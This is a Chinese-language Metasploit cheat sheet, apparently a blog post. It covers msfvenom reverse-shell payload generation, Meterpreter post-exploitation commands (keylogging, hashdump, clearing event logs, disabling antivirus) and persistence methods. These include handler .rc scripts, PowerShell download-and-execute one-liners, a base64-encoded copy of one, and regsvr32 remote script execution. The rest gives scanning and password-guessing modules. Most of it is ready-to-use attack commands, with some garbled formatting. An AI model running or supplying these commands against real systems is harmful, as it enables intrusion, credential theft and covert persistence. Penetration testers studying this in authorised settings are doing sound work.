Metasploit基础使用
Metasploit体系框架
基础库文件
基础库文件位于源码根目录下的libraries目录中,包括
Rex //整个Metasploit框架所依赖的最基础的组件,为开发者提供基础功能支持
framwork-core //负责实现所有与各种类型的上层模块及插件的交互接口
framework-base //扩展了framework-core,提供更加简单的包装例程,为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块
模块
模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
分为
Aux(辅助模块)
Exploit(攻击模块)
Payloads(攻击载荷模块)
Nops(空指令模块)
Encoders(编码器模块)
知道漏洞名称之后可以在
https://www.exploit-db.com
https://www.rapid7.com
搜索对应的模块或者poc添加利用
插件
插件是扩充的功能,可以集成现有的一些玩不安全工具比如Nessus OpenVAS等,为用户接口提供新的命令
接口
Metasploit框架提供了多种用户接口,包括
msfconsole控制台终端
msfcli命令行
armitage图形化界面
msfapi远程调用接口
功能程序
Metasploit提供了一些列可直接运行的功能程序,支持用户快速利用Metasploit框架内部能力完一些任务。
- 启动metasploit(命令行模式) :
msfconsole
- (图形化模式):
msfgui - 升级metasploit:
msfupdate
- 查看命令使用帮助信息:
help [COMMAND]
- 搜索模块:
search
[模块名 //(search ms08-067) - 选择模块:
use xxx/xxx/xxx
- 查看模块信息:
info
- 查看攻击载荷:
show payloads
- 设置攻击载荷:
set payload xxx/xxx/xxx
- 查看需要设置的配置参数:
show options
- 设置配置参数:
set XXXX xxxxxx
- 开始攻击:
exploit
- 退出当前模块:
back
- 退出msf :
exit
- 使用.rc脚本自动化处理
如创建listener.rc
文件写入使用时运行1
2
3
4
5
6use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <Your Vps's IP>
set LPORT <Your Port>
set ExitOnSession false
exploit -j-zmsfconsole -r /opt/listner.rc
即可自动执行.rc文件内的命令省去频繁操作
- 搜索时出现![] Database not connected or cache not built, using slow search
1
2
3
4msf > db_status
service postgresql start
sercice metasploit start
msf > db_rebuild_cache
[========]
Msfvenom
help参数
1 | Options: |
生成payload,有有两个必须的选项:-p -f
使用-p 来指定要使用的payload。
可以使用下面的命令来查看所有msf可用的payload列表
msfvenom -l payloads
-p选项也支持使用使用自定义的payload,需要使用 “-“,比如:
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
使用-f 来指定payload的输出格式
msfvenom -p windows/meterpreter/bind_tcp -f exe
使用下面的命令,可以产看msf支持的输出格式
msfvenom --help-formats
典型的msfvenom使用:
Windows
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Attacker's IP] LPORT=4444 -f exe -o /tmp/my_payload.exe
Linux
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > root.elf
Mac
1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho
Bash
1
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
PHP
1
2
3
4msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
```
* ASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=
LPORT= -f asp > shell.asp 1
* JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
LPORT= -f raw > shell.jsp 1
* Python
msfvenom -p cmd/unix/reverse_python LHOST=
LPORT= -f raw > shell.py 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
## 对payload进行编码
如果你使用了`-b`选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用`-e`选项来使用编码模块,例如:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
可以使用下面的命令,来查看可用的编码器
msfvenom -l encoders
你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
可以使用下面的命令来进行迭代编码:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
**规避字符**
使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
**使用自定义可执行文件模板**
默认的,msfvenom使用的模板文件保存在`msf/data/templates`目录中,如果你想使用你自己的模板文件,你可以使用`-x`选项来指定,比如:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
# 监听连接
使用`exploit/multi/handler`监听连入的backdoor
msf > use exploit/multi/handler
设置对应的payload
msf exploit(handler) > set payload windows/meterpreter/reverse_http
显示设置
msf exploit(handler) > show options
显示高级设置
msf exploit(handler)> show advanced
进行设置如set LHOST之后
msf exploit(handler) > exploit -j
在后台运行handler进行监听payload的连接
* 小技巧,使用命令`set ExitOnSession false`为保持会话存活,可以同时接受多个sessions
## 会话
sessions
列出可用的交互会话(在处理多个shell时使用)
sessions -l
列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
sessions -l -v
在所有活跃的metasploit会话中运行一个特定的metasploit脚本
sessions -s script
在所有活跃的metasploit会话上执行一个命令。
sessions -c cmd
* *对于cmd会话,应执行cmd命令,对于meterpreter会话,应执行meterpreter命令,如果命令中间有空格,可使用""包裹命令*
升级一个普通的cmd shell到meterperter shell
sessions -u sessionID
* *可同时设定多个sessionID,如执行`sessions -u 1,2,3,4`*
---
[========]
# Meterpreter
## 基本命令
### 核心命令? – 帮助菜单
background – 将当前会话移动到背景
bgkill – 杀死一个背景 meterpreter 脚本
bglist – 提供所有正在运行的后台脚本的列表
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
exit – 终止 meterpreter 会话
help – 帮助菜单
info -
interact – 与通道进行交互
irb – 进入 Ruby 脚本模式
migrate – 移动到一个指定的 PID 的活动进程
quit – 终止 meterpreter 会话
read – 从通道读取数据
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
write – 将数据写入到一个通道1
2
### 文件系统命令cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
search - 在目标主机文件系统上查找搜索文件例如:search -d c:\ -f *.doc 在目标主机C盘下搜索doc文档
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件1
### 网络命令
ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发 例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
route -查看或加入受害者路由表 route add 5.5.5.0 255.255.255.0 1 用sessions 1会话加入指定网段
arp - 显示主机ARP缓存
getproxy - 显示当前代理配置
netstat - 显示网络连接1
### 系统命令
clearev -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令 在目标主机上运行某个程序 execute -f notepad.exe 行目标主机上的记事本程序 隐藏后台执行,加参数-H
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getenv 获取一个或多个环境变量值
localtime 显示目标系统的本地日期和时间
pgrep 按名称显示进程
pkill 按名称终止进程
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
suspend - 暂停或恢复进程列表
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息1
### 用户界面命令
enumdesktops -列出所有可访问台式机
getdesktop -获取当前的 meterpreter 桌面
idletime -检查长时间以来,受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
uictl -启用用户界面组件的一些控件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89### 提权命令
getsystem -获得系统管理员权限
### 密码转储命令
hashdump -抓取哈希密码 (SAM) 文件中的值
`hashdump` 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,`run hashdump`和`run smart_hashdump`。
### Timestomp 命令
timestomp -操作修改,访问,并创建一个文件的属性
---
## 后渗透模块
抓取目标主机所有用户的明文密码
load mimikatz
wdigest
注入载荷
use post/windows/manage/payload_inject
确定目标主机是否是一台虚拟机
run checkvm
自动开启3389或者任意端口
use post/windows/manage/enable_rdp
开启目标主机远程桌面,并可添加管理员组账号
run getgui -e
开启目标主机的远程桌面服务后,可以添加账号以便利用
命令:
run getgui -u example_username -p example_password
连接远程桌面
rdesktop -u username -p passwd IP
关闭防护软件
run killav
键盘记录
run keylogrecorder
查看对方桌面
run vnc
获取目标主机上的软件安装信息
run post/windows/gather/enum_applications
获取目标主机上最近访问过的文档、链接信息
run post/windows/gather/dumplinks
查看目标系统所有网络流量并且进行数据包记录
run packetrecorder -i 0 //-i 1指定记录数据包的网卡
读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码
run post/windows/gather/enum_ie //获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下
---
## Meterpreter维持访问
//文章来自http://www.evil0x.com/posts/26075.html
### 0x01 MSF Persistent Scripts
**1、Persistence**
路径:metasploit/scripts/meterpreter/persistence.rb,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截。
![](/images/Metasploit基础使用/fcdf15c65b723bf264fd568c8b92f3e6.png)
使用举例:run persistence -A -U -i 5 -p 4455 -r 103.79.77.110
1 |
|
exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb
1 |
|
run metsvc -A
1 |
|
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
1 |
|
run scheduleme -m 1 -e /tmp/nc.exe -o “-e cmd.exe -L -p 8080” #上传nc并创建计划任务每一分钟执行一次 ‘nc -e cmd.exe -L -p 8080’
run scheduleme -m 1 -c “cmd /c calc.exe” # 创建计划任务每一分钟执行一次打开计算器命令
1 |
|
run schtasksabuse -t 192.168.2.7 -c “cmd /c calc.exe” -d 4 #每隔4秒执行一次calc.exe
1 |
|
exploits/windows/local/s4u_persistence.rb
1 |
|
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z
1 |
|
set AutoRunScript metsvc -A
1 |
|
meterpreter > run multi_console_command -cl “pwd”
1 |
|
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z
1 |
|
msfconsole -r 1.rc
1 |
|
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
exploit -j
sleep(1)
print_status(“Waiting on an incoming sessions…”)
while (true)
framework.sessions.each_pair do |sid,s|
thost = s.tunnel_peer.split(“:”)[0]
# Ensure that stdapi has been loaded before running
if s.ext.aliases[‘stdapi’]
sleep(2)
print_status(“run screenshot to session #{sid} #{thost}…”)
s.console.run_single(“screenshot”)
sleep(2)
print_status(“Executing persistent command…”)
s.console.run_single(“run persistence -r 192.168.2.101 -p 5556 -U -i 30”)
sleep(4)
print_status(“Closing session #{sid} #{thost}…”)
s.kill
print_status(“Waiting on an incoming sessions…”)
else
print_status(“Session #{sid} #{thost} active, but not yet configured”)
sleep(15)
end
end
sleep(4)
end
print_status("All done")
1 |
|
exploit/multi/script/web_delivery
1 |
|
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #指定每1小时执行一次notepad.exe
1 |
|
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1‘);”
1 |
|
echo “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1‘);” | iconv –to-code UTF-16LE |base64
1 |
|
powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==
1 |
|
set autorunscript ‘multicommand -cl “powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==”‘
1 |
|
PS C:/Persistence> Import-Module ./Persistence.psm1
1 |
|
PS C:/Persistence> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> Add-Persistence -FilePath ./evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
1 |
|
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1
1 |
|
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://domain.com/Persistence.ps1‘); “
1 |
|
1 |
|
regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll
1 |
|
set autorunscript ‘multicommand -cl “regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll”‘
1 |
|
payload.rc:
1 |
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
set autorunscript ‘multicommand -cl “regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll”‘
exploit -j
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.2.101
set lport 7777
set ExitOnSession false
exploit -j
自己配置修改相关选项
---
# 数据库
*Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据*
### 启用数据库
**Metasploit的数据库支持**
root@kali:~# service postgresql start//开启postgresql数据库
root@kali:~# msfdb init//初始化msf数据库
//输入如下命令,查看默认安装的PostgreSQL数据库默认管理员口令:
cat /opt/metasploit/properties.ini | grep "postgres_root_password" postgres_root_password=84cd2bcf
**在Metasploit中使用PostgreSQL**
*第一次运行msfconsole时,Metasploit会创建名称为msf3dev的PostgreSQL数据库,并生成保存渗透测试数据所需的数据表,然后使用名称为msf3的用户,自动连接到msf3数据库*
查看数据库的连接状态:
> db_status
[*] postgresql connected to msf3dev //说明数据库连接正常
### 连接到其他数据库
*每次msfconsole启动时,会自动连接到msf3dev数据库,连接到其他数据库应用db_connect命令*
msf > db_connect 用户名:口令@服务器地址:端口/数据库名称
用户名为postgres,口令如上在/opt/metasploit/properties.ini中查找
输入db_connect连接
msf > dv_connect postgress:84cd2bcf@localhost:7337/msf4
连接到数据库后,可以使用hosts命令检查数据库是否可以正常使用。
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
删除一个数据库:
/opt/framework/metasploit/bin/dropdb msf4
password:
断开数据库连接:
msf > db_disconnect
**Nmap连接渗透测试数据库**
msf > db_nmap -Pn -sV 10.10.10.0/24
该命令是Nmap的一个封装,与Nmap使用方法一样,其执行结果会自动输入到数据库当中
也可以将Nmap扫描结果导出为一个输出文件,并导入渗透测试数据库中,只要在Nmap命令中加入-oX参数
nmap -Pn -sV -oX dmz 10.10.10.0/24
扫描结束后,在当前目录下生成名为dmz的文件,可以在msf终端中导入数据库中
msf > db_import /root/dmz
// db_import命令还能识别Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina 等扫描器的结果
**OpenVAS连接渗透测试数据库**
首先载入OpenVAS插件,并连接到PoenVAS管理引擎
msf > load openvas
msf > openvas_connect admin your_openvas_passwd 10.10.10.128 9390 ok
找到想要导入的扫描报告,导入数据库中
*Metasploit之支持导入NBE格式的扫描报告,导入前需要使用openvas_format_list查找NBE格式的ID号
msf > openvas_report_list
msf > openvas_format_list
msf > openvas_report_import 2 4
**共享渗透测试信息数据库**
- [ ] waiting
[========]
# 模块总结
## 系统部分
### 活跃主机扫描
*Metasploit主机发现模块*
模块位于源码路径的modules/auxiliary/scanner/discovery/
主要有
arp_sweep
ipv6_mulitcast_ping
ipv6_neighbor
ipv6_neighbor_router_advertisement
udp_probe
udp_sweep
* arp_sweep使用arp请求枚举本地局域网中的所有活跃主机
* udp_sweep通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。
---
**arp_sweep模块使用方法**
> use auxiliary/scanner/discovery/arp_sweep
> show options
1. 首先输入RHOSTS设置扫描目标 //大部分RHOSTS可以设置一个或多个IP,多个IP之间使用连字符“-”表示。
> set RHOSTS 10.10.10.0/24
> set THREADS 50
> run
2. 设置好参数后输入run启动扫描器
---
### 端口扫描
可以输入如下命令找到相关扫描器
> search portscan
返回
auxiliary/scanner/protscan/ack //通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/syn //使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp //通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas //一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
*一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉*
**syn扫描器的使用**
> use auxiliary/scanner/protscan/syn
> set RHOSTS 10.10.10.10/254
> set THREADS 20
> run
---
### 服务扫描与查点
*确定开放端口后,对相应端口上锁运行的服务信息进行挖掘*
在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以
[service_name]_version
和
[service_name]_login
命名
* [service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
* [service_name]_login 可对某种服务进行口令探测攻击
在msf终端中可以输入:
search name:_version
查看所有可用的服务查点模块
---
### 常见网络服务扫描
**Telnet服务扫描**
> use auxiliary/scanner/telnet/telnet_version
> set RHOSTS xxx.xxx.xxx/24
> set THREADS 100
> run
**SSH服务扫描**
> use auxiliary/scanner/ssh/ssh_version
> set RHOSTS xx.xx.xx.x/24
> set THREADS 100
> run
**Oracle数据库服务查点**
> use auxiliary/scanner/oracle/tnslsnr_version
> set RHOSTS xx.xx.xx.xx/24
> set THREADS 50
> run
**smb服务扫描**
> msf> use auxiliary/scanner/smb/smb_version
> show options
> set RHOSTS 192.168.1.111
> run
> db_hosts –c address,os_flavor
**查找mssql 主机**
> msf> use auxiliary/scanner/mssql/mssql_ping
> show options
> set RHOSTS 192.168.1.0/24
> set THREADS 255
> run
**FTP 主机扫描**
msf> use auxiliary/scanner/ftp/ftp_version
> show options
> set RHOSTS 192.168.1.0/24
> set THREADS 255
> run
**扫描FTP 匿名登录**
> use auxiliary/scanner/ftp/anonymos
> set RHOSTS 192.168.1.0/24
> set THREADS 50
> run
**扫描SNMP 主机**
msf> use auxiliary/scanner/snmp/snmp_login
> set RHOSTS 192.168.1.0/24
> set THREADS 50
> run
**开放代理探测辅助模块**
*Metasploit提供了open_proxy模块,可以方便的获取免费的HTTP代理服务器地址,用来隐藏真实ip*
> use auxiliary/scanner/http/open_proxy
> set SITE www.google.com
> set RHOSTS 24.25.24.1-24.25.26.254
> set MULTIPORTS true
> set VERIFY_CONNECT true
> set THREADS 100
> run
---
### 口令猜测与嗅探
**SSh服务弱口令猜测**
> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 10.10.10.254
> set USERNAME root
> set PASS_FILE /root/words.txt
> set THREADS 50
> run
**psnuffle口令嗅探**
*可以截获常协议的身份认证过程,并将用户名和口令信息记录下来*
> use auxiliary/sniffer/psunffle
> run
实际使用中,只有在得到能够介入对方网络的初始访问点之后,才能使用此模块进行口令嗅探。
---
## 漏洞扫描
### 调用外部漏洞扫描器
**在Metasploit内部使用Openvas**
1 载入openvas插件
msf > load openvas
2 连接Openvas管理引擎
>openvas_connect admin <your_pawsswd> xxx.xxx.xxx.xxx 9390
3 创建目标
openvas_target_create target1 10.10.10.254 Metasploitable
4 创建扫描任务
查找扫描策略(Scan Config)
msf> openvas_config_list
创建任务:
openvas_task_create <任务名> <任务备注> <扫描策略ID> <目标ID>
### 特殊扫描:
**SMB 弱口令**
msf> use auxiliary/scanner/smb/smb_login
> set RHOSTS 192.168.1.111-222
> set SMBUser Administrator
> set SMBPass admin
>run
VNC 空口令:
msf> use auxiliary/scanner/vnc/vnc_none_auth
> set RHOSTS 192.168.1.111
> run
Open X11 空口令:
msf> use auxiliary/scanner/x11/open_x11
> set RHOST 192.168.1.0/24
> set THREADS 50
> run
当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘,输入:
cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100
---
## Web部分
*Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,Metasploit内置了wmap WEB扫描器*
* 辅助模块
### wmap
*要先创建一个数据库用来存放扫描数据*
**初始化wmap**
msf > load wmap
msf > help
wmap Commands
=============
Command Description
------- -----------
wmap_modules Manage wmap modules
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_vulns Display web vulns
**使用wmap扫描**
msf > wmap_sites -a http://202.112.50.74 //添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://202.112.20.74 //只能添加ip地址 //把添加的网站作为扫描目标
msf > wmap_run -t //查看那些模块将在扫描中使用
msf > wmap_run -e //开始扫描
msf > vulns //查看漏洞信息
---
* 渗透模块
*Metasploit针对Web应用的渗透模块分赛在module中的多个文件中下,主要集中在*
exploit/unix/webapp
exploit/windows/http
exploit/multi/http
---
## 网站信息查询
搜索网站目录
**dir_scanner**
msf> use auxiliary/scanner/http/dir_scanner
msf>set THERADS 50
msf>set RHOSTS www.testfire.net
msf>exploit
**搜索网站中的email地址**
msf> use auxiliary/gather/search_email_collector
>set DOMAIN altoromutual.com
>altoromutual.com
>run
---
## XSSF
*一个跨站脚本攻击框架*
* 首先下载最新的XSSF程序,解压压缩包,把四个文件夹合并到/opt/framework/msf3 中
加载xssf
msf > load xssf
查看基本配置信息
msf > xssf_urls
查看受到攻击的主机的信息
msf > xssf_victims
//状态为true的是最近的一次攻击成功的信息
查看被攻击主机的信息
msf > xssf_information 4
目标浏览器为IE6.0
选择相关模块进行攻击
msf > use auxiliary/server/browser_autopwn
> set LHOST 10.10.10.128
> set SRVHOST 10.10.10.128
> set SRVPORT 8080
> exploit
查看可以被利用的模块信息
> jobs
---